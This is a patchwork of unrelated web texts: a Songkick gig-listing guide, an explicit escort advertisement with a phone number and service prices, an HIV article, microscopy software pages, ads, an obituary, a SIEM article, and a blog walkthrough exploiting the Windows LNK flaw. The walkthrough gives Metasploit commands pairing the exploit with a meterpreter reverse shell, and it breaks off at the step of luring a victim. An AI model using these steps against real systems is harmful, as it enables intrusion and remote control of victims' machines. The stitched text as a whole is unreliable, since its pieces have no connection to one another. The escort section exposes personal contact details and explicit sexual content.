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List your gigs on Spotify

If your band streams music from Spotify, listing your gigs on your bands Artist Profile is a good way to get new listeners to your shows. I found the documentation on how to achieve this a bit confusing, so I’ve summed it up here.

1. Create a Tourbox account with Songkick here:

The options allow you to continue authenticate with Spotify or Facebook, however I’d recommend creating a single band account that everyone in your band can share so everyone else can manage your band via Songkick as well.

2. Navigate to – this is where you want to sign in, as otherwise it signs you into a personal account. This is confusing, and Songkick have done a terrible job at creating an intuitive UI. You have to make sure you’ve signed up and logged in as an artist to access Tourbox.

3. Click on the Add artist button, then search for your own band name. If there are multiple. If you already appear there, it might be because someone else listed your band as someone playing in their Event, or, it could be a duplicate.

4. Now, you’d expect Songkick to want to validate that you actually represent the band you’re  claiming to manage, but they will only ask for validation if you try to manage a big band like Metallica or something. So, in theory, you could claim to manage a bunch of bands you like like and create bogus events that will appear on their Spotify page.

5. Once you’ve added your band as an artist that you manage, you can start adding events. It not only allows you to add your band to the event, but also other bands on the lineup. Songkick doesn’t have any mechanism to validate this, so it will trust whatever you tell it. Ideally, you’d list the actual bands by search for them. If they don’t exist, you can add them, which creates an Artist page for them and adds them to the event. Songkick will also start listing the event on that bands Spotify artist page, without telling them, so hopefully it adds the right one. Sometimes it’s hard to know if there are multiple bands on Songkick/Spotify with the same  name. The take away from this is to add yourself to Songkick before someone else does.

6. After a few days, check back on your Spotify artist page and it should have listed your events like so:


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Profile SWA 8787XE

  • Location

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    0410 113 407

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    155 cm

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    8 - 10

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    incall, outcall

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Currently touring in Brisbane

Australian Tours

To From Until
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Adelaide 11th March 13th March
Hello Lovers,

I'm taking bookings in advance for my Tours as they are all confirmed. To do so I’d require a small deposit to lock in our pleasure time together. Contact me for details.

1- Due to market research, quality of services PROVIDED and diversity of services INCLUDED in my 1hr "Gabriella Reis Girlfriend Experience" I wont have any discounted rate.

Required minimum booking of 2hrs GFE $900/ PSE $1200 plus travel fee:

- Most cities: $250

- GC/Sunny Coast/ Toowoomba/ NNSW: $100

- Perth/Darwin/Cairns: $350

Feel free to contact me by SMS, Email, Twitter or call for more information and details.

Best Regards,

Gabriella Reis xxx

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Gabriella Reis - Private Escort Brisbane

About me

Hello my Lovely Clients !!!!! And for those who don't know Gabriella Reis yet, please take your time to read through my profile...

I’m Gaby, an adventurous and sexy international luxury companion. Standing 5’1” tall, my sexy tanned Brazilian body, cheeky smile and perky DD cup breasts will captivate you. Always striving for the best in life, I can’t wait to share the ultimate playful and pleasurable experience with you, either in my luxurious and immaculate Brisbane CBD apartment or in classy residences when touring your City. My photos are real and recently taken, and you can follow me on Twitter to get a closer look at my curves :-)

Sensual and radiating feminine warmth, my personality is genuine and sparkling. I guarantee you will enjoy my curves, soft smooth skin and artistic tattoos during our intimate hours. You are my complete focus during our encounter, and I take care of all the fine details to ensure the best results. I love to present myself in immaculate condition in all aspects. Whilst a 30min or 1 hour booking will definitely break the ice, a true Gaby experience, complete with fun and stimulating conversation to listen to my so sexy accent, is best enjoyed through longer bookings, dinner dates, overnights, weekends, where my enthusiastic energy will leave you breathless.

I am unsurpassed in providing my clientele with their every desire, whether it be a passionate girlfriend experience or a hot, uninhibited, pornstar fantasy. Our time together will be unrushed, which allows you to experience and savour my special attention and eroticism. Totally fun from beginning to end! Guaranteed ;-)

If you're still unconvinced, browse through the numerous reviews my clients, newbies and regulars alike, have published. They speak for themselves and I am so grateful and thankful for receiving such positive feedback of the blissful intimate time we're spending together.

You will experience a great GFE Service which includes Mutual Pleasure, Passionate Kissing, LOTS OF TEASING , Sensual Body Slide. If you fancy something special, I do offer an authentic PSE experience, Fantasies and Fetish. Don't hesitate to contact me.

For those who desire something even more kinky and naughty, please don't be afraid to discuss your wishes when making your booking. I love fulfilling fetishes and desires. Call me for more details. Private numbers will be ignored.

Gabriella Reis xxx

Affectionate Kissing, Passionate Kissing (at my discretion), Naughty French, Cuddling and Touching, Mutual French, Oral, Balls licking, Variety of Positions, Sensual Massage with Body Slide

Naughty french, naughty french with a twist, Deep Throat, Rimming(on you/me), Light Bondage, Golden Showers, Striptease, 2 girls/1 guy, 2 guys/1 girl, Fisting (on you), Anal Play (on you), Butt Plug (on you/Me) , Prostate Stimulation, Toys and Strap-Ons, Light Domination, Costumes and Role Play, Fetishes, Couples, Foot fetishes….

Dont hesitate to contctat me to discuss any request*

*only genuine requests will be answered.

30 minutes $ 300 Signature GFE
45 minutes $ 350 Signature GFE
1 Hour $ 450 Signature GFE
1.5 Hours $ 600 Signature GFE
2 Hours $ 800 Signature GFE
1 Hour $ 600 Signature PSE
1.5 Hours $ 700 Signature PSE
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30 minutes $ 400 Signature PSE

1 Hour $ 550 GFE Hotels ONLY
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Extra $200 for 1 hr shooting (BYO Camera/Equipament)

$1200 - 4 hrs Dinner Package (2hrs dining/ 2hrs "dessert") Special Available

$550 - 1 hour - COUPLE NO LESBIAN

ASK ME FOR RATES (im available for day tour, weekends, hollidays away)

Gabriella Reis is a perfect teacher to help you to improve your sexual skills. Very open minded and uninhited she will make you feel very confortable to talk about any desires, trauma, fetishes.

$800 3hrs

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Affectionate Kissing, Passionate Kissing (at my discretion), Naughty French, Cuddling and Touching, Mutual French, Oral, Balls licking, Variety of Positions, Sensual Massage with Body Slide

Naughty french, naughty french with a twist, Deep Throat, Rimming(on you/me), Light Bondage, Golden Showers, Striptease, 2 girls/1 guy, 2 guys/1 girl, Fisting (on you), Anal Play (on you), Butt Plug (on you/Me) , Prostate Stimulation, Toys and Strap-Ons, Light Domination, Costumes and Role Play, Fetishes, Couples, Foot fetishes….

Dont hesitate to contctat me to discuss any request*

*only genuine requests will be answered.

When can we meet?

Weekday From Until
Monday 10:00 am 11:00 am
Tuesday 10:00 am 11:00 am
Wednesday 10:00 am 11:00 am
Thursday 10:00 am 11:00 am
Friday 10:00 am 11:00 am
Saturday 10:00 am 11:00 am
Sunday 10:00 am 11:00 am
  • Available by appointment
  • Please contact me for my availability
  • Available 7 days
  • Flexible hours by appointment
  • Pre bookings preferred, but can be available at short notice

Preferred Contact Method

Please text for first contact but I require a phone call to confirm our meeting. I DO NOT ANSWER PRIVATE NUMBERS.

NOTICE IN ADVANCE IS RECOMENDED as it will be difficult to accomodate an appointment on a short notice.

Gabriella Reis xxx

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    Chanel "Allure", "Manifesto" by YSL, Burbery, "Jungle Elephant" by Kenzo

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- I love Toni Bianco, Christian Louboutin(size 35,5), Jimmy Choo , Yves Saint Laurent, Valentino, Giuseppe Zanotti High Heels (size 5,5)

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    Champagne, Cabernet Savignon, Semillion Savignon, Savignon Blanc, Merlot, Shiraz… I love wine and I love to try new tastes….

  • jewellery

    I like more white gold or silver; Swarovski ; Mimco; Tiffany n' Co

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    All animals .. But I wish I could have a dog, a cockatoo, a monkey, a piglet, a horse and a cow

My Escort Diary

  1. BY Jason

    Gariella Reis I have know for few years now meet quiet few times in this time never ceases to amaze me always is such lovely young lady takes pride also enjoys what she does over years numerous times i have known Gabriella time i have spent in her company i have enjoyed very much found has great se...
  2. BY Andy

    Just been and seen the gourgious Gabriella she is 10 out 10 great service can highly recommend her & Will definitely be seeing her again
  3. BY ANT

    Just been and seen Gabs again on her tour of Perth i meet her just over 12 months ago she is addictive Keeps you going back again and again . I cant thank Gabriella enough for what she has done for me helped me in difficult period of my life i will be forever grateful to her . I have been seeing WL...
  4. BY Jason

    Gabriella Reis I have had the pleasure of meeting spending some quality time with this fine young amazing young lady i cant speak highly enough of i have know of also meet quiet few times in the past couple of years that we have know each other not only my most recent meeting also in the time i ha...
  5. BY Jason

    Miss Gabriella Reis I have had the pleasure of meeting spending sometime with this fine amazing young lady that never ceases to amaze me with such unforgettable memorable time that i have just experianced that i could never possibly forget that ill will remeber for life time not only my recent mee...
  6. BY Aidos

    I first came across Gabriella a while ago on twitter. I know it's only a small snippet of someone, but I was really impressed with her very nice pics, but more importantly her friendly nature and positively on life. After meeting her, straight away and now for the 3rd time today, I can confirm ju...
  7. BY Skipurple

    I have written quite a few reviews & testimonials about Gab, this lady never disappoints. Playtime are a ton of fun, Gab has that twinkle in her eyes but I never review about the bedroom I believe that’s between 2 ppl. The last adventure with Gab was taking her to the Grand Prix. Grandstand ticketsb...
  8. BY Jason

    I have recently had the pleasure of meeting Gabriella Ries that i have known for quiet sometime in the time that i have know this young lady from intial contact i have always acts upon my request in such a professional manner also swiftly is easy to deal with anytime that i have been in contact with...
  9. BY Asteroid

    I should have fallen on my sword, a thought reconfirmed when I met Gabby at the door , some 3 years in waiting from my first text. Saw she was coming to a location closer than Brisbane and started to weigh it up again. Common sense said " go" so I did text to confirm date and time , all syste...
  10. BY Anon

    I had the pleasure of Gabriella’s Companionship for the first time. Upon arrival I was instantly at ease with her beautiful friendly smile and her bubbly personality shining through. The whole experience was sensational and after today it won’t be the last time. The whole experience from start to fi...
  11. BY Jason

    Miss Gabriella Reis I have recently had the pleasure of spending some time with this fine young lady that ive known for quiet a while is this time has been a amazing lady the time we spend together is never enough to say that i enjoy our time together would be a understatement whatever i say in my r...
  12. BY Graham

    This was my second date with the lovely Gabriella. She did not disappoint, Gabi is a passionate, happy and enthusiastic lover. I had a fantastic time from the moment I was greeted by her at the door with a passionate kiss. I won't go into detail but by the end of our session we were both a bit sweat...
  13. BY Pete L

    Oh what a lady, Oh what a night! A dinner date with Gabriella to remember. Gaby already has a lot of positive reviews here, and I won't be giving a blow-by-blow description of what went on back at her apartment, so I am going to break this down in to a few key dot points: - Gaby has a completely d...
  14. BY Jim Lucky

    Had my first meeting with Gabriella in April. If I'd known what was coming I'd have made a much longer appointment. She's beautiful, delightful, honest and earthy and sexy. Man is she sexy! Not much surprises these days, but the first half hour with Gabriella blew me away in the most pleasurable sen...
  15. BY randy70hd

    Had the opportunity to arrange a booking with the beautiful Gabriella again.Yes that's right again and there will definitely be a future booking to come. She came up to the room late afternoon looking stunning as usual. A quick hello and hug and straight into some sensual DFK. Quick drinks and sh...
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    I'm not into writing reviews of ladies that I have had the pleasure of spending time with but thought that this woman definitely deserved one. I took the chance and arranged a booking with Gabriella during her visit to Darwin and wasn't disappointed. The booking process was simple a few texts to e...
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Interactive: March 11–15  •  Film: March 11–19  •  Music: March 15–20

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Let's talk about why we like Michael Jackson in the first place: his music. With testimony from the people who helped the King of Pop put together his songs, albums and shows, we’ll deconstruct the brilliance of "Billie Jean," "Don't Stop til You Get Enough," "Black or White" and the rest.

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Fauci: No excuse for HIV treatment wait

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fauciroundsDr. Anthony Fauci was remembering when he knew virtually all of his AIDS patients would die within months.

He was recounting the bitter frustration of being trained to be a healer, and having no recourse.

He was talking about “one of the greatest accomplishments in the history of medicine,” that in the three decades since has allowed people with HIV  to grow old, and given the world a chance to end the epidemic.

And he was reviewing the research showing that treatment prevents transmission of the virus and more than halves risks of serious illness and death, that adds up, he says, to “absolutely no excuse whatsoever for not putting every single person with HIV on treatment.”

FauciTriadThe director of the National Institute of Allergy and Infectious Diseases was speaking about “Ending the HIV/AIDS Pandemic: An Achievable Goal,” at the launch of the District of Columbia Center for AIDS Research, a entity that has as its goal the support and expansion of research that contributes to ending the HIV epidemic in Washington, DC, “and beyond”. And he was saying that ending the epidemic “isn’t just a feasible goal, it’s an inevitable goal.” Which has a ring of conviction from the physician scientist who has led the U.S. HIV research response since the pandemic’s earliest years, and who, no matter how optimistic he is about the latest development in vaccine research, refuses to project when it will yield results.

The confidence Fauci expressed is all the more remarkable in light of current failures in the U.S. to come close to any of the “90 percents” UNAIDS has projected as critical to ending HIV as a global health threat — 90 percent of people with HIV diagnosed, 90 percent of those diagnosed on sustained treatment, and treatment effective and consistent enough in 90 percent of them to suppress the virus — all by 2020. Efforts to achieve those in Washington, DC are doing better than other parts of the country, but still, he points out with HIV prevalence of 2.5 percent, the nation’s capital is home to a generalized epidemic by the World Health Organization’s definition.

FAUCImapFauci’s confidence, which comes with an “if” at the end — if the world uses everything currently at hand, in a “cascade of prevention” as well as a cascade of care, isn’t based on successes in Washington, DC, though. It’s based on success in Rwanda.

There treatment for as many as 79 percent of HIV patients is consistent and effective enough to suppress the virus, and Fauci cites an article he recently read by Rwanda Minister of Health Agnes Binagwaho and Partners in Health co-founder Paul Farmer detailing the role of decentralized services and community-based supports.

“Getting everything at the community level, decentralizing everything we do,”  is essential to bringing the fruits of three decades of science where it needs to go, he said.

“We’re going in the right direction,” Fauci said. “If you look at the trajectory, its going down . . . but it’s not steep enough.”

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MBF Bioscience design quantitative imaging software for stereology, neuron reconstruction and image analysis, integrated with the world’s leading microscope systems to empower your research. Their development team and staff scientists are actively engaged with leading bioscience researchers, constantly working to refine their products.

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Stereo Investigator

Count cells and quantify lengths, areas, and volumes with the world’s best and most-cited stereology system.

Stereology is considered in most biological sciences to be the most accurate and efficient way to estimate the number, length, and volume of cells.

A Stereo Investigator system for stereology gives you accurate, unbiased estimates of the number, length, area, and volume of cells or biological structures in a tissue specimen. It is a key research tool that has helped lead advances in numerous areas of neuroscience including neurodegenerative diseases, neuropathy, memory, and behavior, as well as other research fields including pulmonary research, spinal cord research, and toxicology.

Stereo Investigator has been cited in over 4,000 published research papers.

Unbiased stereology with Stereo Investigator – Overview

Extension Modules
  • Virtual Tissue 2D – Create 2D whole slide images
  • Virtual Tissue 3D – Create 3D whole slide images
  • Image Stack and 3D Visualization – Acquire and view 3D image stacks suitable for stereology
  • Image Montaging – Automated 3D montaging/stitching of image stacks
  • MRI Support – Analyze MRI image sets
  • Serial Section Reconstruction – 3D anatomical reconstructions from serial sections
  • Deconvolution – Deconvolution of brightfield, widefield fluorescence, and confocal images
  • Structured Illumination – Control of structured illumination hardware such as the Zeiss Apotome
  • Zen Control – Unbiased cell counting/stereology on a Zeiss LSM confocal microscope
  • Open Confocal – Unbiased cell counting/stereology on a confocal microscope
  • Fluoview – Unbiased cell counting/stereology on Olympus Fluoview 300 & 500

More information at MBF Bioscience’s website: click here

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An advanced system for neuron tracing and reconstruction, neuron analysis, and 3D brain mapping

Analyze the structure of neurons by tracing them in 3D with Neurolucida. Trace neurons at a microscope from a physical slide, or at a computer with image stacks. Obtain a wide variety of quantitative data about dendrites, axons, nodes, synapses, and spines.

Neurolucida is advanced scientific software for brain mapping, neuron reconstruction, anatomical mapping, and morphometry. Since its debut more than 20 years ago, Neurolucida has continued to evolve and has become the worldwide gold-standard for neuron reconstruction and 3D mapping. Researchers have reconstructed tens of thousands of neurons using our technology.

The user-friendly interface gives you rapid results, allowing you to acquire data and capture the full 3D extent of neurons and brain regions. You can reconstruct neurons or create 3D serial reconstructions directly from slides or acquired images, and Neurolucida offers full microscope control for brightfield, fluorescent, and confocal microscopes.

Neurolucida is available in two separate versions: Standard, which controls research microscope hardware and Workstation, for offline analysis away from the microscope. The software provides automatic analysis of hundreds of quantitative parameters, with results presented in graphical and spreadsheet format, all exportable to Microsoft Excel ®.

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AutoNeuronAutoNeuron traces neurons from image stacks or whole slides in minutes, significantly reducing time and effort. AutoNeuron works with brightfield, widefield fluorescence, and confocal images.

AutoSpineAutoSpine is a ground-breaking tool for automatic detection and quantification of dendritic spines. Using high-quality dendritic tracings from AutoNeuron or Neurolucida, AutoSpine identifies and counts the spines along the traced dendrites.

AutoSynapseAutoSynapse, an extension module for Neurolucida, automatically detects and analyzes pre-synaptic markers such as synaptophysin and post-synaptic markers such as PSD95, then uses nearby dendrites traced with AutoNeuron or Neurolucida to analyze which of those synaptic markers are associated with particular dendrites.

Other Modules

AutoSynapse, an extension module for Neurolucida, automatically detects and analyzes pre-synaptic markers such as synaptophysin and post-synaptic markers such as PSD95, then uses nearby dendrites traced with AutoNeuron or Neurolucida to analyze which of those synaptic markers are associated with particular dendrites.

  • Virtual Tissue 3D for creating 3D whole slide images
  • Virtual Tissue 2D for creating 2D whole slide images
  • Image Montaging for automated 3D montaging/stitching of image stacks
  • Image Stack and 3D Visualization for acquiring and viewing 3D image stacks
  • Deconvolution for the deconvolution of brightfield, widefield fluorescence, and confocal images
  • Structured Illumination for integration with structured illumination microscopy hardware
  • Zen control for integration with Zeiss LSM confocal microscopes
  • Open confocal control for integration with confocal microscopes
  • Fluoview control for integration with Olympus Fluoview 300 & 500.

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A new paradigm for automatic neuron reconstruction

With Neurolucida 360, you can automatically reconstruct neurons and detect spines and synapses in a 3-dimensional environment to obtain reliable data about the size, shape, and complexity of neurons. Neurolucida 360 works with 3D and 2D images acquired with confocal, two-photon, and fluorescence microscopes or slide scanners. And it excels at handling very large images such as whole slide images or images of tissue cleared with CLARITY, Scale, iDISCO, and more.

Quickly reconstruct somas, dendrites, and axons

Neurolucida 360 allows you to collect more data in less time. The user-guided tracing method in Neurolucida 360 helps you trace neurons quickly and uniformly. Find the soma and click it to reconstruct the soma volume. Locate a dendrite or axon and move your cursor along it – the algorithm will find the thickness of the process. Edits can easily be made in the 3D environment.

Incredibly fast 3D spine detection and classification

Dendritic spine detection and classification are fully automatic in Neurolucida 360. Simply click ‘detect all’ to reconstruct all spines in the image, and then click ‘classify all’ to classify spines into one of four spine types. Edits can easily be made in the 3D environment.

Reconstruct neurons 15 times faster with Neurolucida 360

Would you rather spend 1 hour and 3 minutes reconstructing a neuron, or just 4 minutes? To see how fast Neurolucida 360 really is, we had an experienced Neurolucida user trace a neuron manually with Neurolucida and then with Neurolucida 360. The manual reconstruction took 1 hour and 3 minutes. The reconstruction with Neurolucida 360 took just 4 minutes. If you have to reconstruct 10 of these neurons it would take you 10 hours and 30 minutes, or just 40 minutes with Neurolucida 360. Use the extra 9 hours and 50 minutes to mine the wealth of morphometric data.

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WormLab is a system for imaging, tracking, and analyzing C. elegans and other worms. It has a user-friendly software interface with a powerful model-specific tracking algorithm that collects data about a single worm or multiple worms, even through omega bends, reversals, and entanglements. The algorithm analyzes virtually any video file type, including .avi, .wmv, and .mp4.

Capturing videos with a WormLab system

Capturing high-quality videos is essential for obtaining accurate analyses as quickly as possible. To do this, a complete WormLab system includes the following hardware:

1) Video cameras to acquire videos directly with WormLab

2) An illuminator to project smooth, even light onto your plates

3) A specially designed camera stand to securely hold the camera in the exact location you want.

WormLab Features
  • Multiple Worm Tracking from video files
  • Track selected worms, or all worms in the frame
  • Track worms through entanglements and overlap
  • Track at high, medium, or low magnification
  • Advanced worm model with peristaltic progression movement including elongation
  • Multiple-hypothesis tracking results in improved worm tracking
  • Discriminates between head and tail using both curvature and motion direction
  • Selective viewing of worm outlines, midpoints, tracks, and head/tail markers
  • Export locomotion data to Microsoft Excel
  • Built-in workflow makes it easy to run WormLab and gather data efficiently
  • Load video files from disk or directly from a connected camera with optional camera control
  • Support for hundreds of different video codecs included
Analyses – More than 10,000 measures to analyze your specimens

WormLab presents the tracking data in a multi-tabbed table format. Export all data to Microsoft Excel or cut-and-paste portions to any other application. Frame-by-frame detail data is provided for each worm track as well as track summary data. Analysis output includes:

  • Worm Position (Head, midpoint and tail) frame-by-frame
  • CenterLine Points (variable resolution, selected by user)
  • Speed (instantaneous and moving average)
  • Body Area
  • Body Wavelength
  • Track Length
  • Direction
  • Body Bending Angles
  • Head Bending Angle
  • Omega Bend Detection
  • Reversal Detection

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With BrainMaker you can now see labeled cells and structures or view lesions throughout a true 3-dimensional reconstruction of the entire brain (or any organ). At a single glance you can see the location of all neurons expressing a particular gene, visualize axonal projections of specific neurons within the full anatomical context.

How BrainMaker works

BrainMaker generates high-resolution 3D reconstructions from serial sections imaged with whole slide scanners and research microscopes. Load the images into BrainMaker and then direct your attention to other projects while BrainMaker automatically detects the individual sections on each slide, and then aligns the sections to create the full 3D image reconstruction.

It’s fast. And it’s smart. If you mount a section upside down, BrainMaker will automatically correct it during the alignment process. BrainMaker uses innovative computational algorithms to align image features found in multiple serial sections. If additional adjustments need to be made to the automatic alignment, researchers can easily edit the 3D reconstruction.

Watch an overview of how BrainMaker works

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Live Cell Imaging, Low Light Imaging

Analyze autoradiography and optical density

Densita manages your autoradiography study with the most efficient workflow available.

First-time users can be productive with our intuitive technology, which includes specific steps for acquiring images, calibrating, linking total- and non-specific binding images, outlining regions, and exporting results to Microsoft Excel ®.

Using an optical step wedge or radioactivity standards, Densita quickly and efficiently calculates ROD (relative optical density), luminance, concentration, the area of your region of interest, ligand concentration, and the amount of radioactivity.

Densita can acquire new images, load previously-saved images, or read your existing MCID files. It also includes the ability to montage, and it supports multi-channel fluorescence images.

Another feature that sets Densita apart is its ability to automatically recalculate your results any time you adjust the data, at any point in the workflow. There is no need to recapture the image or start over from the beginning. Simply make the change, and Densita will re-do the work for you.

See what our complete autoradiography system can do for your lab.

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For microscope control and image acquisition

Our newest product, Microlucida, builds on our core software framework of Neurolucida and Stereo Investigator, and provides all the tools necessary for advanced microscope control and image acquisition for brightfield, fluorescence, and confocal systems. It is the ideal application for research scientists who need to capture images in 2D, 3D, and 4D.

Microlucida gives you the power to acquire images from multiple fields of view and create seamless image montages, known as virtual slides. It also enables you to use a single high-quality image acquisition application across all of your microscopes, a feature particularly beneficial for core facilities.

Microlucida can save large amounts of disk space with its high-quality JPEG 2000 compression of images and stacks. Microlucida also enables time-lapse image acquisition over multiple channels.

With support for research microscopes from Zeiss, Olympus, Nikon, and Leica, Microlucida is also custom-designed for seamless integration with the world’s leading motorized stages and cameras.

Capture images easily with Microlucida.


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Keeping your house and lawn clean from poop can be a struggle, especially with a dog. While they are lovable, cuddly, and entertaining companions, dogs can turn your weekly to-do list into a mile long parade of tasks. Walk the dog. Play with the dog. Buy more dog food. Clean up that chewed up shoe. Pick up dog poop with Scooper On Doody today!

It’s that last task that’s really the least enjoyable, right? The last thing you want to do is go outside and hunt around for all the poop that your dog left for you to find. You don’t want to add professional pooper scooper in Orion to your resume. Thankfully for you, we are professionals at dog waste removal.

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Treasure Trove Treehouse Playsets

The Gorilla Playsets Treasure Trove Treehouse Swing Set has it all and more when it comes to kids using their imagination. There is a large main deck connected by a clatter bridge and tower - both covered by Tongue & Groove Wood Roofs. Whether they are making a getaway down the Radical Ride 7’ Tube Slide™ or climbing up the Deluxe Rope Ladder, the adventure is never ending. This set includes an Upper-Level Treehouse with working shutters. The main beams and posts are also available in maintenance-free Timber Shield™ OR Natural Cedar. Let the fun begin, order yours today!

  • Dimensions: 19'W x 27’6”D x 13'H
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  • Maintenance-free Timber Shield™ Framing OR Natural Cedar Framing
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Special Effects Master Ray Harryhausen Dead at 93

Ray Harryhausen Jason and the Argonauts

Ray Harryhausen – the special effects designer and director behind some of cinema's most memorable images – has died at 93. He passed earlier today in a London hospital, where he had been receiving treatment for unspecified symptoms for the better part of a week. Though his cause of death is unknown, it is generally assumed that Harryhausen died of natural causes.

While he hadn't worked directly in film for over three decades, Harryhausen was one of the indisputable titans of practical visual effects. Known for hand-crafted, painstakingly shot stop-motion sequences, Harryhausen's effects drew consistent cinema crowds from the 1950s through the late 70s. His influence on later visual effects designers cannot possibly be overstated.

News of Harryhausen's death was announced today in a lengthy statement posted on the Ray and Diana Harryhausen Foundation's Facebook page. The statement acknowledges Harryhausen's passing and contains an outpouring of sympathies from figures from across the globe:

"The Harryhausen family regret to announce the death of Ray Harryhausen, Visual Effects pioneer and stop-motion model animator. He was a multi-award winner which includes a special Oscar and BAFTA. Ray’s influence on today’s film makers was enormous, with luminaries; Steven Spielberg, James Cameron, Peter Jackson, George Lucas, John Landis and the UK’s own Nick Park have cited Harryhausen as being the man whose work inspired their own creations."

Harryhausen was born in Los Angeles on June 29th, 1920. His fascination with visual effects began when he was just 13 years old when he saw the mind-blowing stop-motion animation of King Kong. The young Harryhausen began designing and building his own VFX models, going so far as to show them to Kong's animator Willis O'Brien for critiques. Later, O'Brien would give Harryhausen his first Hollywood effects gig with 1949's Mighty Joe Young – which would earn an Oscar for its visuals.

Ray Harryhausen Mighty Joe Young

Mighty Joe Young kicked off a career that defined movie fantasies in the 1950s and 60s. Harryhausen's creations menaced cinemas in It Came from Beneath the Sea, The Beast from 20,000 Fathoms, One Million B.C., and several Sinbad films.

One of the films Harryhausen was most famous for was 1963's Jason and the Argonauts. In that film are fantastical effects sequences that still hold up quite well. A towering bronze giant, a duel with a writhing hydra, and (particularly) an awesome final battle sequence against a small army of animated skeletons make the movie a must-see.

The final film to benefit directly from Harryhausen's talents was 1981's Clash of the Titans. More or less a showcase for Harryhausen's late-career mastery, Clash of the Titans remains a well-loved cultural touchstone largely because of its inventive monster designs and still-impressive animation. There is no doubt that the recent remake (and its sequel) would not have placed such emphasis on releasing the kraken if not for the original's grand, stop-motion-enhanced final sequence.

Ray Harryhausen Clash of the Titans

After Titans, Harryhausen more or less retired to England for more academic pursuits. Citing the up-and-coming effects technology displayed by companies such as Industrial Light and Magic, Harryhausen decided his labor-intensive methods were probably on the wane.

Nonetheless, his legacy was cemented. Many directors – including young mavericks such as Steven Spielberg and George Lucas – came to cite Harryhausen in the same tones that he himself once applied to Willis O'Brien. Some of their tributes were collected in the Facebook release:

Peter Jackson

"'The Lord of the Rings' is my ‘Ray Harryhausen movie’. Without his life-long love of his wondrous images and storytelling it would never have been made – not by me at least... His patience, his endurance have inspired so many of us."

George Lucas

"Ray has been a great inspiration to us all in special visual industry. The art of his earlier films, which most of us grew up on, inspired us so much... Without Ray Harryhausen, there would likely have been no Star Wars."

James Cameron

"I think all of us who are practioners in the arts of science fiction and fantasy movies now all feel that we’re standing on the shoulders of a giant. If not for Ray’s contribution to the collective dreamscape, we wouldn’t be who we are."

Edgar Wright [via Twitter]

"I loved every single frame of Ray Harryhausen's work. He was the man who made me believe in monsters."

On a personal note, I can still remember watching Jason and the Argonauts for the first time at about six years old, flooded with a sense of dumbstruck fear and wonder. For a kid, the image of the animate bronze giant Talos stooping down to pluck the Argonauts' ship from the Aegean Sea was overwhelming in its scale, and the inhuman movements of the skeleton warriors was genuinely unnerving. It wasn't until years later that I connected Jason to other creature-features my brother and I had grown up watching – all overseen by a singular creative talent. Harryhausen's work absolutely contributed toward a lifelong fascination with fantasy, horror, and the possibilities of film.

The world lost one of its grandmasters today, and he will be missed.

In Memoriam: Ray Harryhausen – June 29, 1920-May 7, 2013

Source: The Ray and Diane Harryhausen Foundation Facebook page

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How SIEM solutions can help organizations comply with GDPR ?

SIEM solution, as one of the best cybersecurity solutions, can help organizations being compliant with the GDPR strict requirements. As a matter of fact, GDPR compliance is indispensable for enterprises managing the data of European Union (EU) citizens because non compliant organizations have to bear the brunt of huge penalties in terms of massive fine and reputational damage. Various enterprises today deploy SIEM systems mere for compliance requirements because compliance mandates are not optional. In order to thwart GDPR penalties, an effective SIEM system offers various reliable security solutions that are directly applicable to GDPR sections.

The following sections comprehensively define the SIEM features and their GDPR applicability.

1.Article 5 & Article 25 of GDPR

The GDPR stresses the need for data protection in its article 5 and 25. Article 4 requires the protection of personal data, including the security of unauthorized processing. Article 25 stipulates the security of personal data collected, the extent of its processing, and the period of its storage and accessibility.

Data is the currency of today’s data-rich organizations. Therefore, the protection of such data such as Personally Identifiable Information (PII) has paramount importance for organizations.

According to the Mike Adler, vice president of products at RSA NetWitness, discover that “SIEM solutions provide the threat-detection and investigation capabilities, and automated compliance reporting capabilities that are required to show efficient security controls ensuring that a PII is dealt with in accordance with the requirements of GDPR.”

2. Article 30 of GDPR

GDPR Article 30 stipulates that each controller and his representative will maintain a record of processing activities under his responsibility. Processing activities may incorporate the logging system.

Deficiencies in security analysis and logging allow bad guys to conceal their location, harmful applications, and suspicious activities on the targeted machines. A complete and protected logging record is imperative to recover the loss and subsequent deeds committed by the malicious insiders.

SIEM log management feature can certainly help companies complying with this GDPR Article 30. Log management involves a log correlation rules, which is a heart of SIEM. With a log correlation feature, the security experts can see sequences and patterns in log events that aren’t visible in individual log sources. With SIEM log management, the enterprises can have complete and protected log records even in the aftermath of a notorious security breach.

  3. Article 33 (3) of GDPR

Article 33(3)(d) of GDPR describes the measures need to be taken by a controller to cope with the cyber incident and take appropriate measures to mitigate its potential adverse effects. In fact, this section talks about a suitable incident response mechanism. Without an incident response, the enterprises will be unable to recover their critical data even if the attack has been discovered.

A reliable SIEM system offers an effective incident response and management system that addresses and manages the aftermath of a cyber breach. Incident response not only mitigates the damage but also decreases the cost and recovery time. More importantly, the enterprises having such a SIEM solution can comply with GDPR article 33(3)(d).

4. Conclusion

After a thorough and comprehensive discussion, it has been evident that the SIEM solution is indispensable for GDPR compliance. Non-compliant organizations will have to suffer a massive loss in the form of penalties. Therefore, the organizations must comply with GDPR requirements by deploying the effective SIEM system.


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Exploiting MS “LNK” Vulnerability

A few days ago I posted a blog entry called Microsoft Validates Shortcut Vulnerability, this entry basically explains what the issue is and also listed a few basic mitigation techniques.

Below I will be demonstrating how you can actively exploit this vulnerability using Metasploit.

Proof of concept testing:
This test was preformed using my BT4 VM which was assigned IP address and a Win XPSP3 VM using IP address

Step 1: Load Metasploit and get latest update

On my BackTrack4 VM, I browsed to /pentest/exploit/framework3, then load msfconsole once that is loaded run svn update so you can get the latest and greatest.

Fig-1 SVN Update

Step 2: Select your Exploit and Payload

msf > use exploit/windows/browser/ms10_xxx_Windows_shell_lnk_execute

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > show options

The show options commands will show you the various parameters  that needs to be set in order for the exploit to be functional. In our case its setting up the listening IP and listening port.

Fig-2  Choosing Exploit and Payload

Step 3: Fill-in required options and run exploit

At this stage you simply fill in the correct IP address and listening port for the machine that you are launching the attack from. If this is not correct the victim machine would not know where to connect back too, since I selected reverse_tcp.

msf exploit(ms10_xxx_Windows_shell_lnk_execute) > SET SRVHOST

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >SET LHOST

msf exploit(ms10_xxx_Windows_shell_lnk_execute) >exploit

Fig-3 Fill-in LHOST and SRVHOST

Step 4: Get your victim to click the link or view the malicious file

Now at this stage  you have to get a bit creative, I can suggest a few things you can try:

